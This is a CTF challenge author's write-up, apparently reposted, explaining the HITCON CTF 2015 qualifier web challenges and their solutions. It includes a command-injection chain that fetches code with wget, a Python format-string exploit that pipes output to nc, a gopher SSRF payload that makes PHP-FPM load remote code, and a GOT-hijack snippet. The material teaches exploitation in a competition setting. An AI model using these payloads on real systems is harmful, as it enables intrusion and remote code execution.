HITCON CTF 2015 Quals Web 出題心得

原创

Sword-heart 于 2022-04-23 00:51:27 发布 2270 收藏
分类专栏： 乌云知识库 文章标签： web安全 网络安全 安全 hack wooyun

Blog: http://blog.orange.tw

quests	count	by
deathweed	0	
random	0	
vcopy	0	
moonglow	0	
Use-After-FLEE	1	PPP
lalala	2	LC↯BC,Cykorkinesis
Fooddb	4	PPP,Shellphish,fuzzi3,Cykorkinesis
waterleaf	5	Shellphish,Samurai,RPISEC,DuRaRaRa!!,Capture the Swag
npc	5	PPP,Shellphish,0ops,Dragon Sector,Insight-labs
daybloom	5	PPP,Shellphish,0ops,fuzzi3,Cykorkinesis
readable	8	PPP,Shellphish,0ops,fuzzi3,Cykorkinesis,blue-lotus,Tasteless,sigma
guess	9	PPP,Shellphish,0ops,LC↯BC,Dragon Sector,blue-lotus,RPISEC,TokyoWesterns,Capture the Swag
PhishingMe	9	PPP,Shellphish,!SpamAndHex,Samurai,CLGT,TokyoWesterns,PwnThyBytes,Insight-labs,Hanoiati
fireblossom	11	too many solved...
blinkroot	12	too many solved...
risky	13	too many solved...
Giraffes-Coffee	16	too many solved...
nanana	18	too many solved...
puzzleng	24	too many solved...
Piranha-Gun	24	too many solved...
poooooooow	26	too many solved...
hard-to-say-4	28	too many solved...
babyfirst	33	too many solved...
rsabin	37	too many solved...
matrix-X-matrix	39	too many solved...
hard-to-say-3	73	too many solved...
simple	86	too many solved...
hard-to-say-2	88	too many solved...
unreadable	94	too many solved...
hard-to-say-1	111	too many solved...
Flag-not-Found	352	too many solved...

drops.wooyun.org

p.s. 相關代碼皆放在 Github 上，有興趣研究之同學可以先看看代碼嘗試解解看後在敘述!

寫在 HITCON CTF 2015 Quals 之後
作為出題團隊的一員，不得不說這次的難度真的不是有點高而已XD
不過就身為 DEFCON 種子賽我覺得可以說是名符其實! :)

這次負責了所有的 Web 題目
私心來說都是自信之作，把自己最近研究的一些東西出成題目XD
就參賽者反應來說，讓他們在解題時覺得很難但解出後會有「原來如此」、「還可以這樣玩」的感覺是我這次主要出題的目的XD

0x01 100 BabyFirst (33 隊解)

```
<code>#!php
<?php
    highlight_file(__FILE__);
    $dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
    if ( !file_exists($dir) )
        mkdir($dir);
    chdir($dir);
    $args = $_GET['args'];
    for ( $i=0; $i<count($args); $i++ ){
        if ( !preg_match('/^\w+$/', $args[$i]) )
            exit();
    }
    exec("/bin/orange " . implode(" ", $args));
?>
</code>
```

> https://gist.github.com/orangetw/cb3487e47d7aaaea4692

作為本次 Web 最簡單的題目，純代碼分析並且只有十五行程式碼而已
在比賽開始後兩小時才有人解出

簡單使用 `\n` 就可以繞過常見正規表示式沒有 `match multiline` 的問題， 不過難點在於可以 `Command Injection` 但是指令都限制在是 `a-zA-Z0-9_`
這也是最有趣的地方，每個隊伍的想法都不一樣所以會有很多種解法!

自己的官方解法是

```
<code>mkdir orange
cd orange
wget HEXED_IP
tar cvf payload orange
php payload
</code>
```

就可以任意代碼執行

從 log 中有看到其他隊伍的解法是

```
<code>busybox ftpget ...
</code>
```

或是

```
<code>twistd telnet ...
</code>
```

或是

```
<code>wget HEX_IP
// 給個 302 Redirect 到 FTP protocol 上，也是這題解法中最訝異的XD
// 本來還檢查過 wget source code 想說產生的 index.html 應該不可控，結果居然到 FTP Protocol 上竟然就可以控
</code>
```

總體來講也看到各種玩 Command Line 的極限XD 學到滿多用法的
最為出題者來講我覺得是最成功的一題，簡單好玩又有趣!

0x02 200 nanana (18 隊解)

> https://gist.github.com/orangetw/4942d949134227eedd4c

```
<code>xxd -r -p nanana.xxd > nanana
</code>
```

名為 Web 實際上卻是 Pwn 的題目
只提供 binary 並無提供 `libcgid.so` 所以必須在沒有 library 的狀況下解決這題! 簡單的 `Format String` 但沒有 `output (sprintf)`，把 do_job 的 GOT 換成 system 的 PLT 地址就可以

不過唯一要注意的是得先利用 `stack guard` 覆蓋 `stack smashing detected` 的 ARGV1 的方式達成任意地址洩漏把 password 給洩漏出來才比較好利用
但是因為 64-bits 且送的東西無法有 NULL Byte 所以在蓋 ARGV1 的時候必須用比較迂迴的方式蓋
先使用 username 把 ARGV1 最後一個蓋 NULL
再使用 username 把 ARGV1 倒數第二個蓋 NULL
之後 job 蓋記憶體位置(0x601090)三個 bytes 後剩下的五個 bytes 才會剛好是 NULL 以達到任意地址讀取

詳細 Exploit 可以參考

```
<code>#!python
import requests
from urllib import urlencode
from struct import pack, unpack
URL = 'http://54.92.88.102/cgi-bin/nanana'
def leak(address):
    address = pack('I', address)
    address = address.strip('\x00')
    payload = {
        'username': 'A'*349,
        'password': 'B'*380,
        'job': 'C'*392 + address
    }
    r = requests.get(URL+'?'+urlencode(payload))
    l = r.headers['*** stack smashing detected ***']
    l = l.strip(' terminated')
    l = l.ljust(8, '\x00')
    try:
        return unpack('Q', l)
    except:
        return l
def e(cmd, pwd):
    payload = {
        'username': cmd,
        'password': pwd,
        'job': '\x48\x10\x60',
        'action': '%198x%15$hhn'
    }
    print urlencode(payload)
    r = requests.get(URL+'?'+urlencode(payload))
if __name__ == '__main__':
    pwd = leak(0x601090)
    print 'pwd @ %s' % pwd
    e('id | nc 127.0.0.1 12345',pwd=pwd)
</code>
```

> solution of nanana · GitHub

0x03 300 Giraffe's Coffee (16 隊解)

> https://gist.github.com/orangetw/4a412fb0d49cad0c4ea3

也是代碼分析的題目

核心的概念是 PHP 中 PRNG 的預測
由於電腦很難做到真正的 "隨機"，所以現在大部分隨機樹的產生都基於 PRNG 在 PHP 中 PRNG 的實現是變形的 `Mersenne Twister` 演算法

在沒有提供 seed 的下 `php_mt_rand` 會拿當前 pid 以及時間做一些運算當成種子
而這個 seed 是 32-bits 長的，所以是可破解的

有些人會使用現成的工具來解，但會發現失敗，無法主確的預測 PRNG 是因為當 PHP 在 Apache 下時是使用 prefork 的方式去執行
所以每次的連線都是從已經 fork 好的 process 中挑一個去給你使用
所以無法確定當前的 process PRNG 中 STATE 的狀態是否為第一次
以及每次連線上的 process 也不一定相同所以 STATE 狀態更無法預測
(現成工具只會算 seed 後的第一次來比對)

這點可以使用 Keep-Alive 的方式來確保連上的是同一個 process
之後再原本種子的破解上多加上往 STATE 的運算(共有 624 個 STATE) 應該就可以解了!

0x04 400 lalala (2 隊解)

一個可以給使用者上傳圖片或是提供網址幫你抓起來上傳圖片的服務
核心概念就是透過 302 redirect 去繞過限制實現 SSRF，並且再透過 SSRF 中的 gopher 去利用本地的 FastCGI prtocol 實現遠端代碼執行

在抓取圖片的時候可以使用 302 去做 SSRF
(其實很多人在研究 SSRF 的時候都忽略的 302 的妙處)

在 SSRF 中可以讀檔
(`Location: file://localhost/etc/passwd`)

會發現伺服器的架構是使用 Nginx + PHP-FPM
其中 PHP-FPM fastcgi protocol 是以 bind port 的方式跑在本機上

在真實世界中，只要發現對方的 PHP FastCGI 是可以外連的話那就可以拿 shell
所以使用 gopher 構造 FastCGI Protocol 訪問本機的 9001 port 就可以任意代碼執行

```
<code>Location:
gopher://127.0.0.1:9001/x%01%01i%13%00%08%00%00%00%01%00%00%00%00%00%00%01%04i%13%00%8B%00%00%0E%03REQUEST_METHODGET%0F%0FSCRIPT_FILENAME/_www/index.php%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%09%26PHP_VALUEauto_prepend_file%20%3D%20http%3A//orange.tw/x%01%04i%13%00%00%00%00%01%05i%13%00%00%00%00
</code>
```

(使用 PHP_ADMIN_VALUE 把 `allow_url_include` 設成 `on` 以及新增 `auto_prepend_file` 到自己的網站)

這題比較有趣的另外一個點是，如果有實作過 SSRF 搭配 gopher 的話，應該會發現
Java 中的 gopher 只能接受 0x00 - 0x7f
libcurl 中的 gopher 只能接受 0x01 - 0xff

然後本題使用 PHP 中的 `curl_exec`，會使用到 libcurl 無法使用 NULL Byte
但是構造 FastCGI Protocol 的話非得有 NULL Byte 不可
後來去研究了一下 libcurl 的原始碼，發現是因為寫得有點問題才不能使用 NULL Byte
所以送了一個 commit 過去還被接受了...XD

> gopher: don't send NUL byte · curl/curl@5bf36ea · GitHub

所以現在新版本的 libcurl / curl 應該 gopher 都可以使用 NULL Byte 了XD

0x05 500 Use-After-FLEE (1 隊解)(只有 PPP 解出)

身為 Web 最難題XD
許多時候，在做滲透測試時都會遇到，打進一台虛擬主機(hosting)後要去訪問同主機上的其他網站會被 `open_basedir` 以及 `disable_functions` 限制住

但 PHP 在歷史上出現過了許許多多的 Memory 上的洞，這題使用到的就是其中一個
(出題時 Ubuntu apt-get 預設安裝的 PHP 還是有洞，不過寫這篇文章時好像已經修了XD)

漏洞 PoC 的話可參考 80vul 的 PHP Codz Hacking
不過只有 PoC :(

> https://github.com/80vul/phpcodz/blob/master/research/pch-034.md

使用 Use-After-Free 去繞過上面限制，說的好像很簡單，不過在現今作業系統中有很多的保護你必須面對

1. DEP
2. FULL ASLR
3. PIE (Apache 預設全開)
4. FULL RELRO (Apache 預設全開)
5. 由於環境在 Apache + mod_php 上，PHP 是以 Library 的形式被載入到 Apache 中，所以再利用難度上會增加(純 CLI 其實很容易 Exploit)，例如要自己處理 Parsing ELF 的動作XD

不過 PPP 不愧是最強隊伍在比賽結束前一個半小時解出，也是唯一一隊解出的隊伍!
不過有點小遺憾的是，因為比賽平台都在 EC2 的 Ubuntu 14.04 64-bits 上，所以對於 libc 的 offset 他們直接拿其他 Pwn 題目的 libc offset 而不是透過算 STRTAB, SYMTAB, JMPREL 來把 offset 找出 :)

其中 PPP 中 Ricky 的 writeup

> https://github.com/pwning/public-writeup/blob/master/hitcon2015/web500-use-after-flee/exploit.php

其中 Ricky 的利用是把 ZVAL 結構中 handler 換成 system 的位置並且這個 ZVAL 的型態宣告成 OBJECT 並且 refcount 為 0

```
<code>struct _zval_struct {
  zvalue_value value;
  zend_uint refcount__gc;
  zend_uchar type;
  zend_uchar is_ref__gc;
};
</code>
```

這樣 PHP 內部在處理時發現引用為 0 時會自動做 destruct 把並且把 ZVAL 當成參數丟給 handler
這時有 8 bytes 的指令長度限制可以用(所以 Ricky 使用 `sh /*/a;` 的做法來執行指令)
不過如果在 32-bits 下就變成 4 bytes 的長度限制幾乎無法利用XD

比較優雅的做法可以把 GOT Hijacking 把 fopen 換成 system 之後呼叫 fopen 就可以任意指令執行

```
<code>write($open_got, $system_address);
fopen("| $cmd", "r");
</code>
```

有興趣的同學可以嘗試寫寫看，並且想辦法把 Exploit 寫到完美! :P

寫到這裡
在 Web Security 的領域上有太多太多的 tricks 以及問題等待著我們去解決
身為一個 Web 狗，我很驕傲 :)